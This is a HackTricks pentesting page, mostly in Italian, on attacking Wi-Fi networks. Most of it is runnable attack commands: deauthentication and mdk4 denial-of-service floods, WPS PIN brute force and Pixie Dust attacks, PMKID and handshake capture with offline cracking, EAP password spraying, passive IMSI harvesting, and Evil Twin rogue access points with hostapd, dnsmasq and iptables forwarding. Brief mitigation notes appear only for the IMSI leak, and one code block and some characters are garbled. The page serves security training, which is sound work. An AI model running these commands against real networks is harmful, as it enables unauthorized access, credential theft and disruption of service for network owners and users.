Pentesting Wifi
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al đŹ gruppo Discord o al gruppo telegram o seguici su Twitter đŚ @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Comandi di base Wifi
ip link show #List available interfaces
iwconfig #List available interfaces
airmon-ng check kill #Kill annoying processes
airmon-ng start wlan0 #Monitor mode
airmon-ng stop wlan0mon #Managed mode
airodump-ng wlan0mon #Scan (default 2.4Ghz)
airodump-ng wlan0mon --band a #Scan 5Ghz
airodump-ng wlan0mon --wps #Scan WPS
iwconfig wlan0 mode monitor #Put in mode monitor
iwconfig wlan0mon mode managed #Quit mode monitor - managed mode
iw dev wlan0 scan | grep "^BSS\|SSID\|WSP\|Authentication\|WPS\|WPA" #Scan available wifis
iwlist wlan0 scan #Scan available wifis
Strumenti
Hijacker & NexMon (Wi-Fi interno di Android)
Enable Nexmon Monitor And Injection On Android
EAPHammer
git clone https://github.com/s0lst1c3/eaphammer.git
./kali-setup
Airgeddon
mv `which dhcpd` `which dhcpd`.old
apt install isc-dhcp-server
apt-get install sslstrip asleap bettercap mdk4 hostapd beef-xss lighttpd dsniff hostapd-wpe
Esegui airgeddon con docker
docker run \
--rm \
-ti \
--name airgeddon \
--net=host \
--privileged \
-p 3000:3000 \
-v /tmp:/io \
-e DISPLAY=$(env | grep DISPLAY | awk -F "=" '{print $2}') \
v1s1t0r1sh3r3/airgeddon
From: https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Docker%20Linux
wifiphisher
Può eseguire attacchi Evil Twin, KARMA e Known Beacons e poi usare un template di phishing per ottenere la password reale della rete o carpire le credenziali dei social network.
git clone https://github.com/wifiphisher/wifiphisher.git # Download the latest revision
cd wifiphisher # Switch to tool's directory
sudo python setup.py install # Install any dependencies
Wifite2
Questo strumento automatizza gli attacchi WPS/WEP/WPA-PSK. EseguirĂ automaticamente:
- Imposta lâinterfaccia in monitor mode
- Scansiona le reti disponibili - e ti permette di selezionare la/le vittima(e)
- Se WEP - Avvia attacchi WEP
- Se WPA-PSK
- Se WPS: Pixie dust attack e il brute-force attack (attenzione: il brute-force può richiedere molto tempo). Nota che non prova PIN null o PIN generati/da database.
- Prova a catturare il PMKID dallâAP per craccarlo
- Prova a deauthenticate i client dellâAP per catturare un handshake
- Se PMKID o Handshake, prova a bruteforce usando le top5000 password.
Attacks Summary
- DoS
- Deauthentication/disassociation â Disconnetti tutti (o uno specifico ESSID/Client)
- Random fake APs â Nascondi reti, possibile crash di scanner
- Overload AP â Prova a killare lâAP (di solito non molto utile)
- WIDS â Gioca con lâIDS
- TKIP, EAPOL â Alcuni attacchi specifici per DoS di alcuni AP
- Cracking
- Crack WEP (diversi tool e metodi)
- WPA-PSK
- WPS pin âBrute-Forceâ
- WPA PMKID bruteforce
- [DoS +] WPA handshake capture + Cracking
- WPA-MGT
- Username capture
- Bruteforce Credentials
- Evil Twin (con o senza DoS)
- Open Evil Twin [+ DoS] â Utile per catturare credenziali di captive portal e/o effettuare attacchi LAN
- WPA-PSK Evil Twin â Utile per attacchi di rete se conosci la password
- WPA-MGT â Utile per catturare credenziali aziendali
- KARMA, MANA, Loud MANA, Known beacon
- + Open â Utile per catturare credenziali di captive portal e/o effettuare attacchi LAN
- + WPA â Utile per catturare WPA handshakes
DOS
Deauthentication Packets
Descrizione da here:.
Deauthentication attacks, un metodo diffuso nel Wi-Fi hacking, consistono nel forgiare frame âmanagementâ per disconnettere forzatamente dispositivi da una rete. Questi pacchetti non criptati ingannano i client facendoli credere provengano dalla rete legittima, permettendo agli attaccanti di raccogliere WPA handshakes per scopi di cracking o di interrompere persistentemente le connessioni di rete. Questa tattica, allarmante nella sua semplicitĂ , è ampiamente usata ed ha implicazioni significative per la sicurezza delle reti.
Deauthentication using Aireplay-ng
aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
- -0 indica deauthentication
- 1 è il numero di deauths da inviare (puoi inviarne piÚ di uno se vuoi); 0 significa inviarli continuamente
- -a 00:14:6C:7E:40:80 è lâindirizzo MAC dellâaccess point
- -c 00:0F:B5:34:30:30 è lâindirizzo MAC del client da deauthenticate; se questo è omesso allora viene inviata una broadcast deauthentication (non sempre funziona)
- ath0 è il nome dellâinterfaccia
Disassociation Packets
Disassociation packets, simili a deauthentication packets, sono un tipo di management frame usato nelle reti Wi-Fi. Questi pacchetti servono a recidere la connessione tra un dispositivo (ad esempio un laptop o uno smartphone) e un access point (AP). La distinzione principale tra disassociation e deauthentication risiede negli scenari dâuso. Mentre un AP emette deauthentication packets per rimuovere esplicitamente dispositivi rogue dalla rete, i disassociation packets vengono tipicamente inviati quando lâAP è in fase di spegnimento, riavvio o spostamento, rendendo necessario lo scollegamento di tutti i nodi connessi.
Questo attacco può essere eseguito con mdk4(mode âdâ):
# -c <channel>
# -b victim_client_mac.txt contains the MAC address of the device to eliminate
# -e WifiName is the name of the wifi
# -B BSSID is the BSSID of the AP
# Notice that these and other parameters aare optional, you could give onli the ESSID and md4k will automatically search for it, wait for finding clients and deauthenticate them
mdk4 wlan0mon d -c 5 -b victim_client_mac.txt -E WifiName -B EF:60:69:D7:69:2F
Altri attacchi DOS di mdk4
In here.
ATTACK MODE b: Beacon Flooding
Invia beacon frames per mostrare fake APs ai client. Questo può talvolta mandare in crash network scanners e persino drivers!
# -a Use also non-printable caracters in generated SSIDs and create SSIDs that break the 32-byte limit
# -w n (create Open) t (Create WPA/TKIP) a (Create WPA2/AES)
# -m use real BSSIDS
# All the parameters are optional and you could load ESSIDs from a file
mdk4 wlan0mon b -a -w nta -m
ATTACK MODE a: Authentication Denial-Of-Service
Inviare authentication frames a tutti gli Access Points (APs) accessibili nel raggio può sovraccaricare questi APs, specialmente quando sono coinvolti numerosi clients. Questo intenso traffico può portare allâinstabilitĂ del sistema, causando il blocco o addirittura il reset di alcuni APs.
# -a BSSID send random data from random clients to try the DoS
# -i BSSID capture and repeat pakets from authenticated clients
# -m use real MACs
# only -a or -i can be used
mdk4 wlan0mon a [-i EF:60:69:D7:69:2F] [-a EF:60:69:D7:69:2F] -m
MODALITĂ DI ATTACCO p: SSID Probing and Bruteforcing
Probing Access Points (APs) verifica se un SSID è correttamente rivelato e conferma la copertura dellâAP. Questa tecnica, unita al bruteforcing hidden SSIDs con o senza wordlist, aiuta a identificare e accedere a reti nascoste.
MODALITĂ DI ATTACCO m: Michael Countermeasures Exploitation
Lâinvio di pacchetti casuali o duplicati a diverse code QoS può innescare Michael Countermeasures su TKIP APs, causando lo spegnimento dellâAP per un minuto. Questo metodo è una tattica di attacco efficiente DoS (Denial of Service).
# -t <BSSID> of a TKIP AP
# -j use inteligent replay to create the DoS
mdk4 wlan0mon m -t EF:60:69:D7:69:2F [-j]
ATTACK MODE e: EAPOL Start and Logoff Packet Injection
Lâinondazione di un AP con EAPOL Start frames crea sessioni false, sovraccaricando lâAP e bloccando i client legittimi. In alternativa, lâiniezione di false EAPOL Logoff messages disconnette forzatamente i client; entrambi i metodi interrompono efficacemente il servizio di rete.
# Use Logoff messages to kick clients
mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l]
ATTACK MODE s: Attacchi per le reti mesh IEEE 802.11s
Diversi attacchi alla gestione dei link e al routing nelle reti mesh.
ATTACK MODE w: WIDS Confusion
La connessione incrociata dei client a piÚ nodi WDS o a fake rogue APs può manipolare i sistemi di Intrusion Detection e Prevention, creando confusione e un potenziale abuso del sistema.
# -z activate Zero_Chaos' WIDS exploit (authenticates clients from a WDS to foreign APs to make WIDS go nuts)
mkd4 -e <SSID> -c <channel> [-z]
ATTACK MODE f: Packet Fuzzer
Un packet fuzzer che offre diverse sorgenti di pacchetti e un insieme completo di modificatori per la manipolazione dei pacchetti.
Airggedon
Airgeddon offers most of the attacks proposed in the previous comments:
.png)
WPS
WPS (Wi-Fi Protected Setup) semplifica il processo di connessione dei dispositivi a un router, accelerando e facilitando la configurazione per le reti criptate con WPA o WPA2 Personal. Non è efficace per la sicurezza WEP, facilmente compromessa. WPS utilizza un PIN di 8 cifre, verificato in due metà , rendendolo suscettibile ad attacchi brute-force a causa del limitato numero di combinazioni (circa 11.000 possibilità ).
WPS Bruteforce
Ci sono 2 strumenti principali per eseguire questa azione: Reaver e Bully.
- Reaver è stato progettato per essere un attacco robusto e pratico contro WPS, ed è stato testato su una vasta gamma di access point e implementazioni WPS.
- Bully è una nuova implementazione dellâattacco WPS brute force, scritta in C. Ha diversi vantaggi rispetto al codice originale di reaver: meno dipendenze, migliori prestazioni di memoria e CPU, corretta gestione dellâendianness e un set di opzioni piĂš robusto.
Lâattacco sfrutta la vulnerabilitĂ del WPS PIN, in particolare lâesposizione delle prime quattro cifre e il ruolo dellâultima cifra come checksum, agevolando lâattacco brute-force. Tuttavia, le difese contro gli attacchi brute-force, come il blocco degli indirizzi MAC degli attaccanti aggressivi, richiedono la rotazione dellâindirizzo MAC per continuare lâattacco.
Una volta ottenuto il WPS PIN con strumenti come Bully o Reaver, lâattaccante può dedurre la WPA/WPA2 PSK, garantendo accesso persistente alla rete.
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -b -f -N [-L -d 2] -vvroot
bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3
Smart Brute Force
Questo approccio raffinato prende di mira i WPS PINs sfruttando vulnerabilitĂ note:
- PIN giĂ noti: Utilizza un database di PINs noti collegati a produttori specifici noti per usare WPS PINs uniformi. Questo database correla i primi tre ottetti di MAC-addresses con i PINs probabili per questi produttori.
- Algoritmi di generazione PIN: Sfrutta algoritmi come ComputePIN e EasyBox, che calcolano WPS PINs basandosi sul MAC-address dellâAP. Lâalgoritmo Arcadyan richiede inoltre un device ID, aggiungendo un ulteriore livello al processo di generazione del PIN.
WPS Pixie Dust attack
Dominique Bongard ha scoperto una falla in alcuni Access Points (APs) relativa alla generazione di codici segreti, noti come nonces (E-S1 e E-S2). Se questi nonces possono essere ricostruiti, craccare il WPS PIN dellâAP diventa semplice. LâAP rivela il PIN allâinterno di un codice speciale (hash) per dimostrare che è legittimo e non un AP falso (rogue AP). Questi nonces sono essenzialmente le âchiaviâ per aprire la âcassaforteâ che contiene il WPS PIN. Maggiori dettagli si trovano qui.
In termini semplici, il problema è che alcuni APs non usavano chiavi abbastanza casuali per cifrare il PIN durante il processo di connessione. Questo rende il PIN vulnerabile allâessere indovinato dallâesterno della rete (offline brute force attack).
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -K 1 -N -vv
bully wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3
Se non vuoi mettere il dispositivo in monitor mode, o se reaver e bully riscontrano problemi, puoi provare OneShot-C. Questo strumento può eseguire un Pixie Dust attack senza dover passare in monitor mode.
./oneshot -i wlan0 -K -b 00:C0:CA:78:B1:37
Null Pin attack
Alcuni sistemi mal progettati permettono addirittura a un Null PIN (un PIN vuoto o inesistente) di concedere lâaccesso, il che è piuttosto insolito. Lo strumento Reaver è in grado di testare questa vulnerabilitĂ , a differenza di Bully.
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''
Airgeddon
All the proposed WPS attacks can be easily performed using airgeddon.
.png)
- 5 e 6 permettono di provare il tuo PIN personalizzato (se ne hai uno)
- 7 e 8 eseguono il Pixie Dust attack
- 13 permette di testare il NULL PIN
- 11 e 12 recuperano i PIN relativi allâAP selezionato dai database disponibili e generano possibili PIN usando: ComputePIN, EasyBox e opzionalmente Arcadyan (consigliato, perchĂŠ no?)
- 9 e 10 testeranno ogni possibile PIN
WEP
Ormai cosĂŹ vulnerabile e poco usato. Tieni presente che airgeddon ha unâopzione WEP chiamata âAll-in-Oneâ per attaccare questo tipo di protezione. Anche altri strumenti offrono opzioni simili.
.png)
WPA/WPA2 PSK
PMKID
In 2018, hashcat revealed a new attack method, unique because it only needs one single packet and doesnât require any clients to be connected to the target APâjust interaction between the attacker and the AP.
Many modern routers add an optional field to the first EAPOL frame during association, known as Robust Security Network. This includes the PMKID.
As the original post explains, the PMKID is created using known data:
PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)
Dato che il âPMK Nameâ è costante, conosciamo la BSSID dellâAP e della station, e il PMK è identico a quello di una full 4-way handshake, hashcat può usare queste informazioni per crackare la PSK e recuperare la passphrase!
Per gather queste informazioni e bruteforce localmente la password puoi fare:
airmon-ng check kill
airmon-ng start wlan0
git clone https://github.com/ZerBea/hcxdumptool.git; cd hcxdumptool; make; make install
hcxdumptool -o /tmp/attack.pcap -i wlan0mon --enable_status=1
#You can also obtains PMKIDs using eaphammer
./eaphammer --pmkid --interface wlan0 --channel 11 --bssid 70:4C:A5:F8:9A:C1
I PMKIDs catturati verranno mostrati nella console e saranno anche salvati in _ /tmp/attack.pcap_
Ora, converti la cattura nel formato hashcat/john e craccala:
hcxtools/hcxpcaptool -z hashes.txt /tmp/attack.pcapng
hashcat -m 16800 --force hashes.txt /usr/share/wordlists/rockyou.txt
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
Nota che il formato di un hash corretto contiene 4 parti, come: 4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7566f6461666f6e65436f6e6e6563743034383131343838 Se il tuo contiene solo 3 parti, allora è invalido (la cattura PMKID non era valida).
Nota che hcxdumptool cattura anche handshakes (apparirĂ qualcosa del genere: MP:M1M2 RC:63258 EAPOLTIME:17091). Puoi trasformare gli handshakes nel formato hashcat/john usando cap2hccapx
tcpdump -r /tmp/attack.pcapng -w /tmp/att.pcap
cap2hccapx pmkid.pcapng pmkid.hccapx ["Filter_ESSID"]
hccap2john pmkid.hccapx > handshake.john
john handshake.john --wordlist=/usr/share/wordlists/rockyou.txt
aircrack-ng /tmp/att.pcap -w /usr/share/wordlists/rockyou.txt #Sometimes
Ho notato che alcuni handshakes catturati con questo strumento non potevano essere cracked anche conoscendo la password corretta. Raccomando di catturare gli handshakes anche con il metodo tradizionale se possibile, oppure di catturarne diversi usando questo strumento.
Cattura handshake
Un attacco alle reti WPA/WPA2 può essere eseguito catturando un handshake e tentando di crack la password offline. Questo processo comporta il monitoraggio della comunicazione di una rete specifica e del BSSID su un particolare channel. Ecco una guida semplificata:
- Identificare il BSSID, il channel, e un connected client della rete target.
- Usa
airodump-ngper monitorare il traffico di rete sul channel e il BSSID specificati, sperando di catturare un handshake. Il comando sarĂ simile a questo:
airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap
- Per aumentare la probabilità di catturare un handshake, scollega momentaneamente il client dalla rete per forzare una re-authentication. Questo può essere fatto usando il comando
aireplay-ng, che invia deauthentication packets al client:
aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, may not work in all scenarios
Nota che, poichÊ il client è stato deauthenticated, potrebbe tentare di connettersi a un AP diverso o, in altri casi, a una rete diversa.
Quando in airodump-ng appaiono alcune informazioni di handshake, significa che lâhandshake è stato catturato e puoi smettere di ascoltare:
 (1).png)
Una volta che lâhandshake è stato catturato puoi effettuare il crack con aircrack-ng:
aircrack-ng -w /usr/share/wordlists/rockyou.txt -b 64:20:9F:15:4F:D7 /tmp/psk*.cap
Verifica se un handshake è presente nel file
aircrack
aircrack-ng psk-01.cap #Search your bssid/essid and check if any handshake was capture
tshark
tshark -r psk-01.cap -n -Y eapol #Filter handshake messages #You should have the 4 messages.
cowpatty -r psk-01.cap -s "ESSID" -f -
Se questo strumento trova una handshake incompleta di un ESSID prima di quella completata, non rileverĂ quella valida.
pyrit
apt-get install pyrit #Not working for newer versions of kali
pyrit -r psk-01.cap analyze
WPA Enterprise (MGT)
Negli ambienti WiFi aziendali incontrerai diversi metodi di autenticazione, ciascuno dei quali offre differenti livelli di sicurezza e funzionalitĂ di gestione. Quando usi strumenti come airodump-ng per ispezionare il traffico di rete, potresti notare identificatori per questi tipi di autenticazione. Alcuni metodi comuni includono:
6A:FE:3B:73:18:FB -58 19 0 0 1 195 WPA2 CCMP MGT NameOfMyWifi
- EAP-GTC (Generic Token Card):
- Questo metodo supporta hardware token e one-time passwords allâinterno di EAP-PEAP. A differenza di MSCHAPv2, non usa un peer challenge e invia le password in plaintext allâaccess point, esponendo a rischi di downgrade attacks.
- EAP-MD5 (Message Digest 5):
- Coinvolge lâinvio dellâhash MD5 della password dal client. Non è raccomandato a causa della vulnerabilitĂ agli attacchi dizionario, della mancanza di autenticazione del server e dellâimpossibilitĂ di generare session-specific WEP keys.
- EAP-TLS (Transport Layer Security):
- Utilizza certificati sia lato client sia lato server per lâautenticazione e può generare dinamicamente WEP keys basate sullâutente e sulla sessione per proteggere le comunicazioni.
- EAP-TTLS (Tunneled Transport Layer Security):
- Fornisce autenticazione reciproca tramite un tunnel cifrato, insieme a un metodo per derivare WEP keys dinamiche, per-utente e per-sessione. Richiede solo certificati lato server, mentre i client usano credenziali.
- PEAP (Protected Extensible Authentication Protocol):
- Funziona in modo simile a EAP creando un TLS tunnel per comunicazioni protette. Permette lâuso di protocolli di autenticazione piĂš deboli sopra EAP grazie alla protezione offerta dal tunnel.
- PEAP-MSCHAPv2: Spesso indicato semplicemente come PEAP, combina il vulnerabile meccanismo challenge/response di MSCHAPv2 con un tunnel TLS protettivo.
- PEAP-EAP-TLS (or PEAP-TLS): Simile a EAP-TLS ma avvia un TLS tunnel prima dello scambio dei certificati, offrendo un ulteriore livello di sicurezza.
You can find more information about these authentication methods here and here.
Cattura del nome utente
Reading https://tools.ietf.org/html/rfc3748#page-27 sembra che se stai usando EAP i messaggi âIdentityâ devono essere supported, e lo username verrĂ inviato in clear nei messaggi âResponse Identityâ.
Anche usando uno dei metodi di autenticazione piÚ sicuri: PEAP-EAP-TLS, è possibile catturare lo username inviato nel protocollo EAP. Per farlo, cattura una comunicazione di autenticazione (avvia airodump-ng su un canale e wireshark nella stessa interfaccia) e filtra i pacchetti con eapol.
Allâinterno del pacchetto âResponse, Identityâ, apparirĂ lo username del client.
.png)
IdentitĂ anonime
Identity hiding è supportato sia da EAP-PEAP che da EAP-TTLS. Nel contesto di una rete WiFi, una richiesta EAP-Identity è tipicamente avviata dallâaccess point (AP) durante il processo di association. Per proteggere lâanonimato dellâutente, la risposta del client EAP sul dispositivo dellâutente contiene solo le informazioni essenziali necessarie al RADIUS server iniziale per elaborare la richiesta. Questo concetto è illustrato attraverso i seguenti scenari:
- EAP-Identity = anonymous
- In questo scenario, tutti gli utenti utilizzano lo pseudonimo âanonymousâ come identificatore utente. Il RADIUS server iniziale funziona come server EAP-PEAP o EAP-TTLS, responsabile della gestione del lato server del protocollo PEAP o TTLS. Il metodo di autenticazione interno (protetto) viene poi gestito localmente o delegato a un RADIUS server remoto (home).
- EAP-Identity = anonymous@realm_x
- In questa situazione, utenti provenienti da diversi realm nascondono la propria identità mentre indicano il rispettivo realm. Ciò permette al RADIUS server iniziale di proxyare le richieste EAP-PEAP o EAP-TTLS ai RADIUS server nei loro realm di origine, che agiscono come server PEAP o TTLS. Il RADIUS server iniziale opera soltanto come nodo relay RADIUS.
- In alternativa, il RADIUS server iniziale può funzionare come server EAP-PEAP o EAP-TTLS e gestire il metodo di autenticazione protetto o inoltrarlo a un altro server. Questa opzione facilita la configurazione di politiche distinte per vari realm.
In EAP-PEAP, una volta stabilito il TLS tunnel tra il PEAP server e il PEAP client, il PEAP server avvia una richiesta EAP-Identity e la trasmette attraverso il TLS tunnel. Il client risponde a questa seconda richiesta EAP-Identity inviando una EAP-Identity response contenente la vera identitĂ dellâutente attraverso il tunnel cifrato. Questo approccio impedisce efficacemente che la vera identitĂ dellâutente venga rivelata a chiunque stia intercettando il traffico 802.11.
EAP-TTLS segue una procedura leggermente diversa. Con EAP-TTLS, il client tipicamente si autentica usando PAP o CHAP, protetti dal TLS tunnel. In questo caso, il client include un attributo User-Name e oppure un attributo Password o CHAP-Password nel primo messaggio TLS inviato dopo lâinstaurazione del tunnel.
Indipendentemente dal protocollo scelto, il server PEAP/TTLS ottiene la conoscenza della vera identitĂ dellâutente dopo che il TLS tunnel è stato stabilito. La vera identitĂ può essere rappresentata come user@realm o semplicemente user. Se il server PEAP/TTLS è anche responsabile dellâautenticazione dellâutente, ora possiede lâidentitĂ dellâutente e procede con il metodo di autenticazione protetto dal TLS tunnel. In alternativa, il server PEAP/TTLS può inoltrare una nuova richiesta RADIUS al RADIUS server home dellâutente. Questa nuova richiesta RADIUS omette lo strato di protocollo PEAP o TTLS. Nei casi in cui il metodo di autenticazione protetto è EAP, i messaggi EAP interni vengono trasmessi al RADIUS server home senza il wrapper EAP-PEAP o EAP-TTLS. Lâattributo User-Name del messaggio RADIUS in uscita contiene la vera identitĂ dellâutente, sostituendo lo User-Name anonymous dalla richiesta RADIUS in ingresso. Quando il metodo di autenticazione protetto è PAP o CHAP (supportato solo da TTLS), lâUser-Name e gli altri attributi di autenticazione estratti dal payload TLS vengono sostituiti nel messaggio RADIUS in uscita, rimpiazzando lo User-Name anonymous e gli attributi TTLS EAP-Message presenti nella richiesta RADIUS in ingresso.
For more info check https://www.interlinknetworks.com/app_notes/eap-peap.htm
SIM-based EAP (EAP-SIM/EAP-AKA) identity leakage (IMSI exposure)
Lâautenticazione WiâFi basata su SIM usando EAPâSIM/EAPâAKA su 802.1X può esporre il identificatore permanente dellâabbonato (IMSI) in cleartext durante la fase di unauthenticated identity se la deployment non implementa pseudonyms/protected identities o un TLS tunnel attorno allâEAP interno.
Where the leak happens (high level):
- 802.11 association completes to the SSID (often carrier offload SSIDs like FreeWifi_secure, eduroam-like operator realms, etc.).
- Authenticator sends EAP-Request/Identity.
- Vulnerable clients answer EAP-Response/Identity with their permanent identity = IMSI encoded as a 3GPP NAI, prior to any protection.
- Example NAI: 20815XXXXXXXXXX@wlan.mnc015.mcc208.3gppnetwork.org
- Anyone passively listening to RF can read that frame. No 4-way handshake or TLS keying is needed.
Quick PoC: passive IMSI harvesting on EAPâSIM/AKA networks lacking identity privacy
Click to expand
```bash # 1) Enable monitor mode airmon-ng start wlan02) Optional: lock channel to the target BSS
airodump-ng wlan0mon âessid
3) Capture 802.1X/EAP frames
Wireshark display filters:
eap || eapol
(identity specifically): eap.code == 2 && eap.type == 1
Kismet: add source wlan0mon; enable 802.1X/EAP views
tcpdump (pcap capture):
tcpdump -i wlan0mon -s 0 -w eapsim_identity.pcap
4) Wait for a device to auto-connect to the SSID
5) Inspect the first EAP-Response/Identity frame
Expected: ASCII NAI containing IMSI, e.g.
20815XXXXXXXXXX@wlan.mnc015.mcc208.3gppnetwork.org
</details>
Note:
- Funziona prima di qualsiasi tunnel TLS se l'implementazione utilizza EAPâSIM/AKA senza identitĂ protette/pseudonimi.
- Il valore esposto è un identificatore permanente legato alla SIM dell'abbonato; la raccolta consente il tracciamento a lungo termine e abusi telecom a valle.
Impatto
- Privacy: tracciamento persistente di utenti/dispositivi da catture WiâFi passive in luoghi pubblici.
- Punto di partenza per abusi telecom: con l'IMSI, un attaccante con accesso SS7/Diameter può interrogare la posizione o tentare l'intercettazione di chiamate/SMS e il furto di MFA.
Mitigazioni / cosa cercare
- Verificare che i client usino anonymous outer identities (pseudonimi) per EAPâSIM/AKA secondo le linee guida 3GPP (es., 3GPP TS 33.402).
- Preferire il tunneling della fase di identitĂ (es., EAPâTTLS/PEAP che trasporta EAPâSIM/AKA interno) in modo che l'IMSI non venga mai inviato in chiaro.
- Le catture di pacchetti di association/auth non dovrebbero mai rivelare un IMSI in chiaro in EAP-Response/Identity.
Correlato: Sfruttamento della segnalazione telecom con identificatori mobili catturati
<a class="content_ref" href="../pentesting-network/telecom-network-exploitation.md"><span class="content_ref_label">Telecom Network Exploitation</span></a>
### EAP-Bruteforce (password spray)
If the client is expected to use a **username and password** (notice that **EAP-TLS won't be valid** in this case), then you could try to get a **list** a **usernames** (see next part) and **passwords** and try to **bruteforce** the access using [**air-hammer**](https://github.com/Wh1t3Rh1n0/air-hammer)**.**
```bash
./air-hammer.py -i wlan0 -e Test-Network -P UserPassword1 -u usernames.txt
Puoi anche eseguire questo attacco usando eaphammer:
./eaphammer --eap-spray \
--interface-pool wlan0 wlan1 wlan2 wlan3 wlan4 \
--essid example-wifi \
--password bananas \
--user-list users.txt
Client attacks Theory
Network Selection and Roaming
- Il protocollo 802.11 definisce come una station si unisce a un Extended Service Set (ESS) ma non specifica i criteri per la selezione di un ESS o di un access point (AP) al suo interno.
- Le station possono effettuare roaming tra AP che condividono lo stesso ESSID, mantenendo la connettivitĂ attraverso un edificio o unâarea.
- Il protocollo richiede lâautenticazione della station verso lâESS ma non obbliga lâAP ad autenticarsi verso la station.
Preferred Network Lists (PNLs)
- Le station memorizzano lâESSID di ogni rete wireless a cui si connettono nella loro Preferred Network List (PNL), insieme ai dettagli di configurazione specifici della rete.
- La PNL viene usata per connettersi automaticamente a reti note, migliorando lâesperienza dellâutente semplificando il processo di connessione.
Passive Scanning
- Gli AP trasmettono periodicamente beacon frames, annunciando la loro presenza e caratteristiche, incluso lâESSID dellâAP, a meno che la trasmissione non sia disabilitata.
- Durante la scansione passiva, le station ascoltano i beacon frames. Se lâESSID di un beacon corrisponde a un elemento della PNL della station, questa può connettersi automaticamente a quellâAP.
- La conoscenza della PNL di un dispositivo permette possibili sfruttamenti imitando lâESSID di una rete conosciuta, inducendo il dispositivo a connettersi a un rogue AP.
Active Probing
- Lâactive probing coinvolge le station che inviano probe requests per scoprire gli AP nelle vicinanze e le loro caratteristiche.
- I directed probe requests mirano a un ESSID specifico, aiutando a rilevare se una determinata rete è nel raggio dâazione, anche se è una rete nascosta.
- I broadcast probe requests hanno il campo SSID nullo e vengono inviati a tutti gli AP nelle vicinanze, permettendo alla station di verificare la presenza di qualsiasi rete preferita senza rivelare il contenuto della sua PNL.
Simple AP with redirection to Internet
Prima di spiegare come eseguire attacchi piĂš complessi verrĂ spiegato come semplicemente creare un AP e reindirizzare il suo traffico verso unâinterfaccia connessa a Internet.
Using ifconfig -a check that the wlan interface to create the AP and the interface connected to the Internet are present.
DHCP & DNS
apt-get install dnsmasq #Manages DHCP and DNS
Crea il file di configurazione /etc/dnsmasq.conf:
interface=wlan0
dhcp-authoritative
dhcp-range=192.168.1.2,192.168.1.30,255.255.255.0,12h
dhcp-option=3,192.168.1.1
dhcp-option=6,192.168.1.1
server=8.8.8.8
log-queries
log-dhcp
listen-address=127.0.0.1
Poi set IPs e routes:
ifconfig wlan0 up 192.168.1.1 netmask 255.255.255.0
route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1
E poi avvia dnsmasq:
dnsmasq -C dnsmasq.conf -d
hostapd
apt-get install hostapd
Crea un file di configurazione hostapd.conf:
interface=wlan0
driver=nl80211
ssid=MITIWIFI
hw_mode=g
channel=11
macaddr_acl=0
ignore_broadcast_ssid=0
auth_algs=1
wpa=2
wpa_passphrase=mitmwifi123
wpa_key_mgmt=WPA-PSK
wpa_pairwise=CCMP
wpa_group_rekey=86400
ieee80211n=1
wme_enabled=1
Ferma i processi fastidiosi, imposta monitor mode, e avvia hostapd:
airmon-ng check kill
iwconfig wlan0 mode monitor
ifconfig wlan0 up
hostapd ./hostapd.conf
Inoltro e Reindirizzamento
iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
iptables --append FORWARD --in-interface wlan0 -j ACCEPT
echo 1 > /proc/sys/net/ipv4/ip_forward
Evil Twin
Un attacco Evil Twin sfrutta il modo in cui i client WiFi riconoscono le reti, basandosi principalmente sul nome della rete (ESSID) senza richiedere che la base station (access point) si autentichi verso il client. I punti chiave includono:
- DifficoltĂ nella distinzione: I dispositivi fanno fatica a distinguere tra access point legittimi e rogue quando condividono lo stesso ESSID e tipo di cifratura. Nelle reti reali spesso si usano piĂš access point con lo stesso ESSID per estendere la copertura senza interruzioni.
- Roaming del client e manipolazione della connessione: Il protocollo 802.11 permette ai dispositivi di effettuare roaming tra access point allâinterno dello stesso ESS. Gli attaccanti possono sfruttare questo inducendo un dispositivo a disconnettersi dalla base station corrente e a connettersi a un rogue access point. Ciò può essere ottenuto offrendo un segnale piĂš forte o interrompendo la connessione allâaccess point legittimo tramite metodi come deauthentication packets o jamming.
- Sfide nellâesecuzione: Eseguire con successo un attacco Evil Twin in ambienti con piĂš access point ben posizionati può essere complicato. Deauthenticating un singolo access point legittimo spesso fa sĂŹ che il dispositivo si connetta a un altro access point legittimo, a meno che lâattaccante non possa deauthenticate tutti gli access point nelle vicinanze o posizionare strategicamente il rogue access point.
Puoi creare un Open Evil Twin molto basico (senza la capacitĂ di instradare il traffico su Internet) eseguendo:
airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon
Puoi anche creare un Evil Twin usando eaphammer (nota che per creare evil twins con eaphammer lâinterfaccia NON dovrebbe essere in modalitĂ monitor):
./eaphammer -i wlan0 --essid exampleCorp --captive-portal
Oppure usando Airgeddon: Options: 5,6,7,8,9 (inside Evil Twin attack menu).
.png)
Si noti che, di default, se un ESSID nella PNL è salvato come protetto WPA, il dispositivo non si connetterĂ automaticamente a un Open evil Twin. Puoi provare a eseguire un DoS sul reale AP e sperare che lâutente si connetta manualmente al tuo Open evil Twin, oppure puoi eseguire un DoS sul reale AP e usare un WPA Evil Twin per catturare il handshake (usando questo metodo non sarai in grado di permettere alla vittima di connettersi a te poichĂŠ non conosci la PSK, ma puoi catturare lâhandshake e provare a crackarlo).
